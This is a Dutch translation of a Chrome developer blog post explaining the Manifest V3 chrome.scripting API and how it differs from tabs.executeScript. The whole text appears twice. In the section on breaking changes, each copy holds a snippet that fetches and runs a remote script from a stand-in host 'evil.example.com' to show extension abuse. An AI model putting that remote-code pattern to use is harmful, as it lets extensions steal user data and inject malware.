Maak kennis met chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 introduceert een aantal wijzigingen in het extensieplatform van Chrome. In dit bericht onderzoeken we de motivaties en veranderingen die zijn geïntroduceerd door een van de meest opvallende veranderingen: de introductie van de chrome.scripting API.

Wat is chrome.scripting?

Zoals de naam al doet vermoeden, is chrome.scripting een nieuwe naamruimte die is geïntroduceerd in Manifest V3 en die verantwoordelijk is voor de mogelijkheden voor script- en stijlinjectie.

Ontwikkelaars die in het verleden Chrome-extensies hebben ontwikkeld, zijn wellicht bekend met Manifest V2-methoden in de Tabs API, zoals chrome.tabs.executeScript en chrome.tabs.insertCSS . Met deze methoden kunnen extensies respectievelijk scripts en stylesheets in pagina's injecteren. In Manifest V3 zijn deze mogelijkheden verplaatst naar chrome.scripting en we zijn van plan deze API in de toekomst uit te breiden met enkele nieuwe mogelijkheden.

Waarom een ​​nieuwe API maken?

Bij een dergelijke verandering is een van de eerste vragen die vaak opkomt: "Waarom?"

Verschillende factoren hebben ertoe geleid dat het Chrome-team besloot een nieuwe naamruimte voor scripts te introduceren. Ten eerste is de Tabs API een beetje een rommellade voor functies. Ten tweede moesten we ingrijpende wijzigingen aanbrengen in de bestaande executeScript API. Ten derde wisten we dat we de scriptmogelijkheden voor extensies wilden uitbreiden. Deze zorgen samen duidden duidelijk op de behoefte aan een nieuwe naamruimte voor scripts.

De rommellade

Een van de problemen die het Extensions Team de afgelopen jaren dwarszit, is dat de chrome.tabs API overbelast is. Toen deze API voor het eerst werd geïntroduceerd, waren de meeste mogelijkheden gerelateerd aan het brede concept van een browsertabblad. Maar zelfs toen was het een beetje een grabbelton aan functies, en in de loop der jaren is deze verzameling alleen maar gegroeid.

Tegen de tijd dat Manifest V3 werd uitgebracht, was de Tabs API uitgegroeid tot een platform voor basisbeheer van tabbladen, selectiebeheer, vensterorganisatie, berichtenuitwisseling, zoombeheer, basisnavigatie, scripting en een paar andere kleinere functies. Hoewel dit allemaal belangrijke functies zijn, kan het nogal overweldigend zijn voor ontwikkelaars die net beginnen en voor het Chrome-team, aangezien we het platform onderhouden en verzoeken van de ontwikkelaarscommunity in overweging nemen.

Een andere complicerende factor is dat de tabs -machtiging niet goed begrepen wordt. Hoewel veel andere machtigingen de toegang tot een bepaalde API (bijvoorbeeld storage ) beperken, is deze machtiging wat ongebruikelijk omdat deze de extensie alleen toegang verleent tot gevoelige eigenschappen op Tab-instanties (en per extensie ook van invloed is op de Windows API). Het is begrijpelijk dat veel extensieontwikkelaars ten onrechte denken dat ze deze machtiging nodig hebben om toegang te krijgen tot methoden op de Tabs API, zoals chrome.tabs.create of, meer specifiek, chrome.tabs.executeScript . Het verplaatsen van functionaliteit uit de Tabs API helpt om deze verwarring op te lossen.

Brekende veranderingen

Bij het ontwerpen van Manifest V3 was een van de belangrijkste problemen die we wilden aanpakken, misbruik en malware die mogelijk werd gemaakt door "remotely-hosted code" – code die wordt uitgevoerd, maar niet is opgenomen in het extensiepakket. Het komt vaak voor dat kwaadwillende extensieauteurs scripts uitvoeren die van externe servers zijn opgehaald om gebruikersgegevens te stelen, malware te injecteren en detectie te omzeilen. Hoewel goede ontwikkelaars deze mogelijkheid ook gebruiken, vonden we het uiteindelijk te gevaarlijk om te laten zoals het was.

Er zijn verschillende manieren waarop extensies ongebundelde code kunnen uitvoeren, maar de relevante is hier de Manifest V2 chrome.tabs.executeScript -methode. Deze methode stelt een extensie in staat om een ​​willekeurige reeks code uit te voeren in een doeltabblad. Dit betekent op zijn beurt dat een kwaadwillende ontwikkelaar een willekeurig script van een externe server kan ophalen en uitvoeren op elke pagina die de extensie kan openen. We wisten dat we deze functie zouden moeten laten vallen als we het probleem met externe code wilden aanpakken.

(async function() {   let result = await fetch('https://evil.example.com/malware.js');   let script = await result.text();    chrome.tabs.executeScript({     code: script,   }); })(); 

Daarnaast wilden we een aantal subtielere problemen met het ontwerp van de Manifest V2-versie oplossen en de API een meer verfijnde en voorspelbare tool maken.

Hoewel we de handtekening van deze methode binnen de Tabs API hadden kunnen wijzigen, vonden we dat een volledige breuk voor iedereen eenvoudiger zou zijn, gezien deze ingrijpende wijzigingen en de introductie van nieuwe mogelijkheden (die in de volgende sectie worden behandeld).

Uitbreiding van scriptmogelijkheden

Een andere overweging die meespeelde in het ontwerpproces van Manifest V3 was de wens om extra scriptmogelijkheden te introduceren in het extensieplatform van Chrome. We wilden met name ondersteuning toevoegen voor dynamische contentscripts en de mogelijkheden van de executeScript methode uitbreiden.

Ondersteuning voor dynamische contentscripts is al lang een wens in Chromium. Momenteel kunnen de Chrome-extensies Manifest V2 en V3 contentscripts alleen statisch declareren in hun manifest.json -bestand; het platform biedt geen mogelijkheid om nieuwe contentscripts te registreren, de registratie van contentscripts aan te passen of contentscripts tijdens runtime af te melden.

Hoewel we wisten dat we deze feature request in Manifest V3 wilden aanpakken, voelde geen van onze bestaande API's als de juiste plek. We overwogen ook om Firefox te laten samenwerken met hun Content Scripts API , maar al snel ontdekten we een aantal grote nadelen aan deze aanpak. Ten eerste wisten we dat we incompatibele signatures zouden krijgen (bijvoorbeeld het laten vallen van de ondersteuning voor de code eigenschap). Ten tweede had onze API een andere set ontwerpbeperkingen (bijvoorbeeld de vereiste dat een registratie langer dan de levensduur van een service worker zou blijven bestaan). Ten slotte zou deze naamruimte ons ook beperken tot de functionaliteit van content scripts, terwijl we nu overwegen om scripts in extensies breder te gebruiken.

Wat executeScript betreft, wilden we ook de mogelijkheden van deze API uitbreiden, verder dan wat de Tabs API-versie ondersteunde. Meer specifiek wilden we functies en argumenten ondersteunen, specifieke frames gemakkelijker targeten en niet-"tab"-contexten targeten.

In de toekomst bekijken we ook hoe extensies kunnen communiceren met geïnstalleerde PWA's en andere contexten die niet conceptueel gekoppeld zijn aan 'tabbladen'.

Wijzigingen tussen tabs.executeScript en scripting.executeScript

In de rest van dit bericht wil ik dieper ingaan op de overeenkomsten en verschillen tussen chrome.tabs.executeScript en chrome.scripting.executeScript .

Een functie injecteren met argumenten

Terwijl we nadachten over hoe het platform zich zou moeten ontwikkelen in het licht van de beperkingen van extern gehoste code, wilden we een balans vinden tussen de pure kracht van willekeurige code-uitvoering en het alleen toestaan ​​van statische contentscripts. De oplossing die we vonden, was om extensies toe te staan ​​een functie als contentscript te injecteren en een array met waarden als argumenten door te geven.

Laten we even snel een (vereenvoudigd) voorbeeld bekijken. Stel dat we een script willen injecteren dat de gebruiker met zijn naam begroet wanneer hij op de actieknop van de extensie klikt (het pictogram in de werkbalk). In Manifest V2 konden we dynamisch een codestring construeren en dat script op de huidige pagina uitvoeren.

// Manifest V2 extension chrome.browserAction.onClicked.addListener(async (tab) => {   let userReq = await fetch('https://example.com/greet-user.js');   let userScript = await userReq.text();    chrome.tabs.executeScript({     // userScript == 'alert("Hello, <GIVEN_NAME>!")'     code: userScript,   }); });  

Hoewel Manifest V3-extensies geen code kunnen gebruiken die niet bij de extensie is geleverd, was het ons doel om een ​​deel van de dynamiek te behouden die willekeurige codeblokken mogelijk maakten voor Manifest V2-extensies. De functie- en argumentbenadering maakt het mogelijk voor reviewers, gebruikers en andere geïnteresseerden in de Chrome Web Store om de risico's van een extensie nauwkeuriger in te schatten, terwijl ontwikkelaars tegelijkertijd het runtimegedrag van een extensie kunnen aanpassen op basis van gebruikersinstellingen of de status van de applicatie.

// Manifest V3 extension function greetUser(name) {   alert(`Hello, ${name}!`); } chrome.action.onClicked.addListener(async (tab) => {   let userReq = await fetch('https://example.com/user-data.json');   let user = await userReq.json();   let givenName = user.givenName || '<GIVEN_NAME>';    chrome.scripting.executeScript({     target: {tabId: tab.id},     func: greetUser,     args: [givenName],   }); }); 

Targetingframes

We wilden ook de interactie van ontwikkelaars met frames in de herziene API verbeteren. Met de Manifest V2-versie van executeScript konden ontwikkelaars zich richten op alle frames in een tabblad of op een specifiek frame in het tabblad. Je kunt chrome.webNavigation.getAllFrames gebruiken om een ​​lijst met alle frames in een tabblad te verkrijgen.

// Manifest V2 extension chrome.browserAction.onClicked.addListener((tab) => {   chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {     let frame1 = frames[0].frameId;     let frame2 = frames[1].frameId;      chrome.tabs.executeScript(tab.id, {       frameId: frame1,       file: 'content-script.js',     });     chrome.tabs.executeScript(tab.id, {       frameId: frame2,       file: 'content-script.js',     });   }); }); 

In Manifest V3 hebben we de optionele integer-eigenschap frameId in het options-object vervangen door een optionele frameIds array met integers. Hierdoor kunnen ontwikkelaars meerdere frames in één API-aanroep targeten.

// Manifest V3 extension chrome.action.onClicked.addListener(async (tab) => {   let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});   let frame1 = frames[0].frameId;   let frame2 = frames[1].frameId;    chrome.scripting.executeScript({     target: {       tabId: tab.id,       frameIds: [frame1, frame2],     },     files: ['content-script.js'],   }); }); 

Resultaten van scriptinjectie

We hebben ook de manier verbeterd waarop we scriptinjectieresultaten retourneren in Manifest V3. Een "resultaat" is in principe de uiteindelijke statement die in een script wordt geëvalueerd. Zie het als de waarde die wordt geretourneerd wanneer u eval() aanroept of een codeblok uitvoert in de Chrome DevTools-console, maar dan geserialiseerd om de resultaten tussen processen te kunnen doorgeven.

In Manifest V2 retourneerden executeScript en insertCSS een array met eenvoudige uitvoeringsresultaten. Dit is prima als je maar één injectiepunt hebt, maar de volgorde van de resultaten is niet gegarandeerd bij injectie in meerdere frames. Je kunt dus niet zien welk resultaat bij welk frame hoort.

Laten we voor een concreet voorbeeld eens kijken naar de results die worden geretourneerd door een Manifest V2- en een Manifest V3-versie van dezelfde extensie. Beide versies van de extensie injecteren hetzelfde contentscript en we vergelijken de resultaten op dezelfde demopagina .

// content-script.js var headers = document.querySelectorAll('p'); headers.length; 

Wanneer we de Manifest V2-versie uitvoeren, krijgen we een array van [1, 0, 5] terug. Welk resultaat komt overeen met het hoofdframe en welk met het iframe? De retourwaarde vertelt ons niets, dus we weten het niet zeker.

// Manifest V2 extension chrome.browserAction.onClicked.addListener((tab) => {   chrome.tabs.executeScript({     allFrames: true,     file: 'content-script.js',   }, (results) => {     // results == [1, 0, 5]     for (let result of results) {       if (result > 0) {         // Do something with the frame... which one was it?       }     }   }); }); 

In de Manifest V3-versie bevatten results nu een array met resultaatobjecten in plaats van een array met alleen de evaluatieresultaten. De resultaatobjecten identificeren bovendien duidelijk de ID van het frame voor elk resultaat. Dit maakt het voor ontwikkelaars veel gemakkelijker om het resultaat te gebruiken en actie te ondernemen op een specifiek frame.

// Manifest V3 extension chrome.action.onClicked.addListener(async (tab) => {   let results = await chrome.scripting.executeScript({     target: {tabId: tab.id, allFrames: true},     files: ['content-script.js'],   });   // results == [   //   {frameId: 0, result: 1},   //   {frameId: 1235, result: 5},   //   {frameId: 1234, result: 0}   // ]    for (let result of results) {     if (result.result > 0) {       console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);       // Found 1 p tag(s) in frame 0       // Found 5 p tag(s) in frame 1235     }   } }); 

Afronden

De Manifest-versie-upgrades bieden een unieke kans om extensie-API's te heroverwegen en te moderniseren. Ons doel met Manifest V3 is om de eindgebruikerservaring te verbeteren door extensies veiliger te maken en tegelijkertijd de ontwikkelaarservaring te verbeteren. Door chrome.scripting in Manifest V3 te introduceren, konden we de Tabs API opschonen, executeScript opnieuw vormgeven voor een veiliger extensieplatform en de basis leggen voor nieuwe scriptmogelijkheden die later dit jaar beschikbaar komen.

,

Simeon Vincent
Simeon Vincent

Manifest V3 introduceert een aantal wijzigingen in het extensieplatform van Chrome. In dit bericht onderzoeken we de motivaties en veranderingen die zijn geïntroduceerd door een van de meest opvallende veranderingen: de introductie van de chrome.scripting API.

Wat is chrome.scripting?

Zoals de naam al doet vermoeden, is chrome.scripting een nieuwe naamruimte die is geïntroduceerd in Manifest V3 en die verantwoordelijk is voor de mogelijkheden voor script- en stijlinjectie.

Ontwikkelaars die in het verleden Chrome-extensies hebben ontwikkeld, zijn wellicht bekend met Manifest V2-methoden in de Tabs API, zoals chrome.tabs.executeScript en chrome.tabs.insertCSS . Met deze methoden kunnen extensies respectievelijk scripts en stylesheets in pagina's injecteren. In Manifest V3 zijn deze mogelijkheden verplaatst naar chrome.scripting en we zijn van plan deze API in de toekomst uit te breiden met enkele nieuwe mogelijkheden.

Waarom een ​​nieuwe API maken?

Bij een dergelijke verandering is een van de eerste vragen die vaak opkomt: "Waarom?"

Verschillende factoren hebben ertoe geleid dat het Chrome-team besloot een nieuwe naamruimte voor scripts te introduceren. Ten eerste is de Tabs API een beetje een rommellade voor functies. Ten tweede moesten we ingrijpende wijzigingen aanbrengen in de bestaande executeScript API. Ten derde wisten we dat we de scriptmogelijkheden voor extensies wilden uitbreiden. Deze zorgen samen duidden duidelijk op de behoefte aan een nieuwe naamruimte voor scripts.

De rommellade

Een van de problemen die het Extensions Team de afgelopen jaren dwarszit, is dat de chrome.tabs API overbelast is. Toen deze API voor het eerst werd geïntroduceerd, waren de meeste mogelijkheden gerelateerd aan het brede concept van een browsertabblad. Maar zelfs toen was het een beetje een grabbelton aan functies, en in de loop der jaren is deze verzameling alleen maar gegroeid.

Tegen de tijd dat Manifest V3 werd uitgebracht, was de Tabs API uitgegroeid tot een platform voor basisbeheer van tabbladen, selectiebeheer, vensterorganisatie, berichtenuitwisseling, zoombeheer, basisnavigatie, scripting en een paar andere kleinere functies. Hoewel dit allemaal belangrijke functies zijn, kan het nogal overweldigend zijn voor ontwikkelaars die net beginnen en voor het Chrome-team, aangezien we het platform onderhouden en verzoeken van de ontwikkelaarscommunity in overweging nemen.

Een andere complicerende factor is dat de tabs -machtiging niet goed begrepen wordt. Hoewel veel andere machtigingen de toegang tot een bepaalde API (bijvoorbeeld storage ) beperken, is deze machtiging wat ongebruikelijk omdat deze de extensie alleen toegang verleent tot gevoelige eigenschappen op Tab-instanties (en per extensie ook van invloed is op de Windows API). Het is begrijpelijk dat veel extensieontwikkelaars ten onrechte denken dat ze deze machtiging nodig hebben om toegang te krijgen tot methoden op de Tabs API, zoals chrome.tabs.create of, meer specifiek, chrome.tabs.executeScript . Het verplaatsen van functionaliteit uit de Tabs API helpt om deze verwarring op te lossen.

Brekende veranderingen

Bij het ontwerpen van Manifest V3 was een van de belangrijkste problemen die we wilden aanpakken, misbruik en malware die mogelijk werd gemaakt door "remotely-hosted code" – code die wordt uitgevoerd, maar niet is opgenomen in het extensiepakket. Het komt vaak voor dat kwaadwillende extensieauteurs scripts uitvoeren die van externe servers zijn opgehaald om gebruikersgegevens te stelen, malware te injecteren en detectie te omzeilen. Hoewel goede ontwikkelaars deze mogelijkheid ook gebruiken, vonden we het uiteindelijk te gevaarlijk om te laten zoals het was.

Er zijn verschillende manieren waarop extensies ongebundelde code kunnen uitvoeren, maar de relevante is hier de Manifest V2 chrome.tabs.executeScript -methode. Deze methode stelt een extensie in staat om een ​​willekeurige reeks code uit te voeren in een doeltabblad. Dit betekent op zijn beurt dat een kwaadwillende ontwikkelaar een willekeurig script van een externe server kan ophalen en uitvoeren op elke pagina die de extensie kan openen. We wisten dat we deze functie zouden moeten laten vallen als we het probleem met externe code wilden aanpakken.

(async function() {   let result = await fetch('https://evil.example.com/malware.js');   let script = await result.text();    chrome.tabs.executeScript({     code: script,   }); })(); 

Daarnaast wilden we een aantal subtielere problemen met het ontwerp van de Manifest V2-versie oplossen en de API een meer verfijnde en voorspelbare tool maken.

Hoewel we de handtekening van deze methode binnen de Tabs API hadden kunnen wijzigen, vonden we dat een volledige breuk voor iedereen eenvoudiger zou zijn, gezien deze ingrijpende wijzigingen en de introductie van nieuwe mogelijkheden (die in de volgende sectie worden behandeld).

Uitbreiding van scriptmogelijkheden

Een andere overweging die meespeelde in het ontwerpproces van Manifest V3 was de wens om extra scriptmogelijkheden te introduceren in het extensieplatform van Chrome. We wilden met name ondersteuning toevoegen voor dynamische contentscripts en de mogelijkheden van de executeScript methode uitbreiden.

Ondersteuning voor dynamische contentscripts is al lang een wens in Chromium. Momenteel kunnen de Chrome-extensies Manifest V2 en V3 contentscripts alleen statisch declareren in hun manifest.json -bestand; het platform biedt geen mogelijkheid om nieuwe contentscripts te registreren, de registratie van contentscripts aan te passen of contentscripts tijdens runtime af te melden.

Hoewel we wisten dat we deze feature request in Manifest V3 wilden aanpakken, voelde geen van onze bestaande API's als de juiste plek. We overwogen ook om Firefox te laten samenwerken met hun Content Scripts API , maar al snel ontdekten we een aantal grote nadelen aan deze aanpak. Ten eerste wisten we dat we incompatibele signatures zouden krijgen (bijvoorbeeld het laten vallen van de ondersteuning voor de code eigenschap). Ten tweede had onze API een andere set ontwerpbeperkingen (bijvoorbeeld de vereiste dat een registratie langer dan de levensduur van een service worker zou blijven bestaan). Ten slotte zou deze naamruimte ons ook beperken tot de functionaliteit van content scripts, terwijl we nu overwegen om scripts in extensies breder te gebruiken.

Wat executeScript betreft, wilden we ook de mogelijkheden van deze API uitbreiden, verder dan wat de Tabs API-versie ondersteunde. Meer specifiek wilden we functies en argumenten ondersteunen, specifieke frames gemakkelijker targeten en niet-"tab"-contexten targeten.

In de toekomst bekijken we ook hoe extensies kunnen communiceren met geïnstalleerde PWA's en andere contexten die niet conceptueel gekoppeld zijn aan 'tabbladen'.

Wijzigingen tussen tabs.executeScript en scripting.executeScript

In de rest van dit bericht wil ik dieper ingaan op de overeenkomsten en verschillen tussen chrome.tabs.executeScript en chrome.scripting.executeScript .

Een functie injecteren met argumenten

Terwijl we nadachten over hoe het platform zich zou moeten ontwikkelen in het licht van de beperkingen van extern gehoste code, wilden we een balans vinden tussen de pure kracht van willekeurige code-uitvoering en het alleen toestaan ​​van statische contentscripts. De oplossing die we vonden, was om extensies toe te staan ​​een functie als contentscript te injecteren en een array met waarden als argumenten door te geven.

Laten we even snel een (vereenvoudigd) voorbeeld bekijken. Stel dat we een script willen injecteren dat de gebruiker met zijn naam begroet wanneer hij op de actieknop van de extensie klikt (het pictogram in de werkbalk). In Manifest V2 konden we dynamisch een codestring construeren en dat script op de huidige pagina uitvoeren.

// Manifest V2 extension chrome.browserAction.onClicked.addListener(async (tab) => {   let userReq = await fetch('https://example.com/greet-user.js');   let userScript = await userReq.text();    chrome.tabs.executeScript({     // userScript == 'alert("Hello, <GIVEN_NAME>!")'     code: userScript,   }); });  

Hoewel Manifest V3-extensies geen code kunnen gebruiken die niet bij de extensie is geleverd, was het ons doel om een ​​deel van de dynamiek te behouden die willekeurige codeblokken mogelijk maakten voor Manifest V2-extensies. De functie- en argumentbenadering maakt het mogelijk voor reviewers, gebruikers en andere geïnteresseerden in de Chrome Web Store om de risico's van een extensie nauwkeuriger in te schatten, terwijl ontwikkelaars tegelijkertijd het runtimegedrag van een extensie kunnen aanpassen op basis van gebruikersinstellingen of de status van de applicatie.

// Manifest V3 extension function greetUser(name) {   alert(`Hello, ${name}!`); } chrome.action.onClicked.addListener(async (tab) => {   let userReq = await fetch('https://example.com/user-data.json');   let user = await userReq.json();   let givenName = user.givenName || '<GIVEN_NAME>';    chrome.scripting.executeScript({     target: {tabId: tab.id},     func: greetUser,     args: [givenName],   }); }); 

Targetingframes

We wilden ook de interactie van ontwikkelaars met frames in de herziene API verbeteren. Met de Manifest V2-versie van executeScript konden ontwikkelaars zich richten op alle frames in een tabblad of op een specifiek frame in het tabblad. Je kunt chrome.webNavigation.getAllFrames gebruiken om een ​​lijst met alle frames in een tabblad te verkrijgen.

// Manifest V2 extension chrome.browserAction.onClicked.addListener((tab) => {   chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {     let frame1 = frames[0].frameId;     let frame2 = frames[1].frameId;      chrome.tabs.executeScript(tab.id, {       frameId: frame1,       file: 'content-script.js',     });     chrome.tabs.executeScript(tab.id, {       frameId: frame2,       file: 'content-script.js',     });   }); }); 

In Manifest V3 hebben we de optionele integer-eigenschap frameId in het options-object vervangen door een optionele frameIds array met integers. Hierdoor kunnen ontwikkelaars meerdere frames in één API-aanroep targeten.

// Manifest V3 extension chrome.action.onClicked.addListener(async (tab) => {   let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});   let frame1 = frames[0].frameId;   let frame2 = frames[1].frameId;    chrome.scripting.executeScript({     target: {       tabId: tab.id,       frameIds: [frame1, frame2],     },     files: ['content-script.js'],   }); }); 

Resultaten van scriptinjectie

We hebben ook de manier verbeterd waarop we scriptinjectieresultaten retourneren in Manifest V3. Een "resultaat" is in principe de uiteindelijke statement die in een script wordt geëvalueerd. Zie het als de waarde die wordt geretourneerd wanneer u eval() aanroept of een codeblok uitvoert in de Chrome DevTools-console, maar dan geserialiseerd om de resultaten tussen processen te kunnen doorgeven.

In Manifest V2 retourneerden executeScript en insertCSS een array met eenvoudige uitvoeringsresultaten. Dit is prima als je maar één injectiepunt hebt, maar de volgorde van de resultaten is niet gegarandeerd bij injectie in meerdere frames. Je kunt dus niet zien welk resultaat bij welk frame hoort.

Laten we voor een concreet voorbeeld eens kijken naar de results die worden geretourneerd door een Manifest V2- en een Manifest V3-versie van dezelfde extensie. Beide versies van de extensie injecteren hetzelfde contentscript en we vergelijken de resultaten op dezelfde demopagina .

// content-script.js var headers = document.querySelectorAll('p'); headers.length; 

Wanneer we de Manifest V2-versie uitvoeren, krijgen we een array van [1, 0, 5] terug. Welk resultaat komt overeen met het hoofdframe en welk met het iframe? De retourwaarde vertelt ons niets, dus we weten het niet zeker.

// Manifest V2 extension chrome.browserAction.onClicked.addListener((tab) => {   chrome.tabs.executeScript({     allFrames: true,     file: 'content-script.js',   }, (results) => {     // results == [1, 0, 5]     for (let result of results) {       if (result > 0) {         // Do something with the frame... which one was it?       }     }   }); }); 

In de Manifest V3-versie bevatten results nu een array met resultaatobjecten in plaats van een array met alleen de evaluatieresultaten. De resultaatobjecten identificeren bovendien duidelijk de ID van het frame voor elk resultaat. Dit maakt het voor ontwikkelaars veel gemakkelijker om het resultaat te gebruiken en actie te ondernemen op een specifiek frame.

// Manifest V3 extension chrome.action.onClicked.addListener(async (tab) => {   let results = await chrome.scripting.executeScript({     target: {tabId: tab.id, allFrames: true},     files: ['content-script.js'],   });   // results == [   //   {frameId: 0, result: 1},   //   {frameId: 1235, result: 5},   //   {frameId: 1234, result: 0}   // ]    for (let result of results) {     if (result.result > 0) {       console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);       // Found 1 p tag(s) in frame 0       // Found 5 p tag(s) in frame 1235     }   } }); 

Afronden

De Manifest-versie-upgrades bieden een unieke kans om extensie-API's te heroverwegen en te moderniseren. Ons doel met Manifest V3 is om de eindgebruikerservaring te verbeteren door extensies veiliger te maken en tegelijkertijd de ontwikkelaarservaring te verbeteren. Door chrome.scripting in Manifest V3 te introduceren, konden we de Tabs API opschonen, executeScript opnieuw vormgeven voor een veiliger extensieplatform en de basis leggen voor nieuwe scriptmogelijkheden die later dit jaar beschikbaar komen.